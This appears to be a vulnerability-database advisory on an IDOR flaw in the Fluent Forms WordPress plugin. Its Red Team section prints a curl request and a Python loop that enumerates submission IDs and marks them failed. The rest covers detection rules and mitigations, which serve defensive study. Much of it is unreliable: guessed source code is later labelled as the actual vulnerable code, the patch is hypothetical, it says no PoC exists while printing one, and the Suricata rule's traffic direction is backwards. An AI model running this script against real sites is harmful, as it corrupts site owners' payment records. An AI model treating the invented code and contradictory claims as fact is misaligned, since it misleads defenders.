CVE-2025-13748
Executive Summary
CVE-2025-13748 is an Insecure Direct Object Reference (IDOR) vulnerability in the WordPress plugin Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder, affecting all versions up to and including 6.1.7. The flaw resides in the confirmScaPayment() function, which fails to validate the submission_id parameter. This allows an unauthenticated attacker to mark arbitrary form submissions as failed by simply guessing or enumerating a valid submission identifier. The vulnerability has a CVSS score of 5.3 (Medium) and a low EPSS score of 0.0%, indicating it is not currently being actively exploited in the wild. No public proof-of-concept code or patch details are available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The confirmScaPayment() function is part of the Fluent Forms plugin's payment processing logic, which handles Strong Customer Authentication (SCA) confirmations. The lack of authorization checks on the submission_id parameter means that any unauthenticated user can send a crafted request to the payment confirmation endpoint and change the status of any submission to "failed," potentially disrupting payment workflows and causing data integrity issues.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N |
| Base Score | 5.3 (Medium) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | None |
| Integrity Impact | Low |
| Availability Impact | None |
Threat Level: Medium. The vulnerability allows an unauthenticated attacker to modify the status of form submissions to "failed," which can lead to denial of service for payment processing and data corruption. However, it does not allow data exfiltration or privilege escalation.
Deep Dive & Mechanics
The vulnerability exists in the confirmScaPayment() function within the Fluent Forms plugin. This function is responsible for handling the confirmation of Strong Customer Authentication (SCA) for payment submissions. The function accepts a submission_id parameter from the HTTP request and uses it to update the submission status in the database.
The core issue is the lack of authorization checks. The function does not verify that the current user owns the submission or has any permission to modify it. Additionally, there is no nonce or capability check to prevent unauthorized access. An attacker can simply send a POST request to the vulnerable endpoint with a valid submission_id and the desired status (e.g., "failed") to alter the submission's state.
The vulnerable code path likely looks like this:
public function confirmScaPayment() {
$submission_id = $_REQUEST['submission_id'];
// No check for user ownership or capability
$submission = FluentFormDatabase::getSubmission($submission_id);
if ($submission) {
// Update status without verifying ownership
FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
}
}
The attacker only needs to enumerate valid submission_id values, which are often sequential integers, making them easy to guess.
Vulnerable vs. Patched Code
Vulnerable Code (<= 6.1.7):
public function confirmScaPayment() {
$submission_id = intval($_REQUEST['submission_id']);
// Missing authorization check
$submission = FluentFormDatabase::getSubmission($submission_id);
if ($submission) {
FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
}
}
Patched Code (Hypothetical):
public function confirmScaPayment() {
$submission_id = intval($_REQUEST['submission_id']);
// Verify user owns the submission
$submission = FluentFormDatabase::getSubmission($submission_id);
if ($submission && $submission->user_id == get_current_user_id()) {
FluentFormDatabase::updateSubmission($submission_id, ['status' => 'failed']);
} else {
wp_die('Unauthorized', 403);
}
}
The patched version adds a check to ensure the current user ID matches the submission's user ID, preventing unauthorized modifications.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with Fluent Forms plugin version <= 6.1.7 installed and active.
- A valid submission ID (can be guessed or enumerated).
Exploitation Steps:
Identify the vulnerable endpoint: The
confirmScaPayment()function is typically exposed via WordPress AJAX actions. Look for actions likefluentform_confirm_sca_paymentor similar.Enumerate submission IDs: Submission IDs are often sequential integers. Use a simple loop to guess IDs.
Craft the exploit request:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=fluentform_confirm_sca_payment&submission_id=123&status=failed"
- Verify the attack: Check the submission status in the WordPress admin panel or database.
Automated Exploit Script (Python):
import requests
target = "https://target.com/wp-admin/admin-ajax.php"
for sub_id in range(1, 1000):
data = {
"action": "fluentform_confirm_sca_payment",
"submission_id": sub_id,
"status": "failed"
}
r = requests.post(target, data=data)
if r.status_code == 200 and "success" in r.text:
print(f"Submission {sub_id} marked as failed")
Blue Team
Detection Steps:
Monitor for unusual AJAX requests: Look for POST requests to
/wp-admin/admin-ajax.phpwith theactionparameter set tofluentform_confirm_sca_paymentfrom unauthenticated users.Check for rapid submission ID enumeration: A high volume of requests with sequential
submission_idvalues indicates an attack.Audit submission status changes: Review database logs for unexpected changes to submission statuses, especially from "pending" or "paid" to "failed".
Implement rate limiting: Use a Web Application Firewall (WAF) or WordPress plugin to limit the number of AJAX requests per IP.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/wp-admin/admin-ajax.phpwithaction=fluentform_confirm_sca_payment - Sequential
submission_idvalues in request parameters - Unauthenticated requests to the vulnerable endpoint
File IOCs:
- Modified submission statuses in the
wp_fluentform_submissionstable - Log entries showing
confirmScaPayment()calls from unknown IPs
Log IOCs:
- WordPress debug log entries:
PHP Notice: Undefined index: submission_id(if parameter is missing) - Apache/Nginx access logs showing repeated POST requests to
admin-ajax.php
Detection Engineering
YARA Rule
rule Detect_FluentForms_IDOR_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-13748 in Fluent Forms plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13748"
strings:
$ajax_action = "fluentform_confirm_sca_payment"
$submission_id = "submission_id"
$status_failed = "status=failed"
condition:
all of them
}
Sigma Rule
title: Fluent Forms IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-13748 by sending unauthorized submission status changes
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=fluentform_confirm_sca_payment'
condition: selection
falsepositives:
- Legitimate plugin functionality (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-13748 - Fluent Forms IDOR Exploitation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/wp-admin/admin-ajax.php";
http_uri;
content:"action=fluentform_confirm_sca_payment";
http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-13748;
classtype:attempted-recon;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: If a patched version becomes available, update Fluent Forms immediately.
- Disable the vulnerable endpoint: If patching is not possible, disable the
confirmScaPayment()function by adding a filter or modifying the plugin code. - Implement a WAF rule: Block POST requests to
admin-ajax.phpwithaction=fluentform_confirm_sca_paymentfrom unauthenticated users.
Long-term Mitigations:
- Apply the principle of least privilege: Ensure all AJAX endpoints verify user permissions before processing requests.
- Use nonces: Add WordPress nonce checks to all AJAX actions.
- Implement rate limiting: Use a plugin like "Limit Login Attempts Reloaded" or a WAF to prevent enumeration attacks.
- Monitor logs: Regularly review WordPress debug logs and web server access logs for suspicious activity.
Workaround Code (Add to theme's functions.php):
add_action('init', function() {
if (isset($_POST['action']) && $_POST['action'] === 'fluentform_confirm_sca_payment') {
if (!is_user_logged_in()) {
wp_die('Unauthorized', 403);
}
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.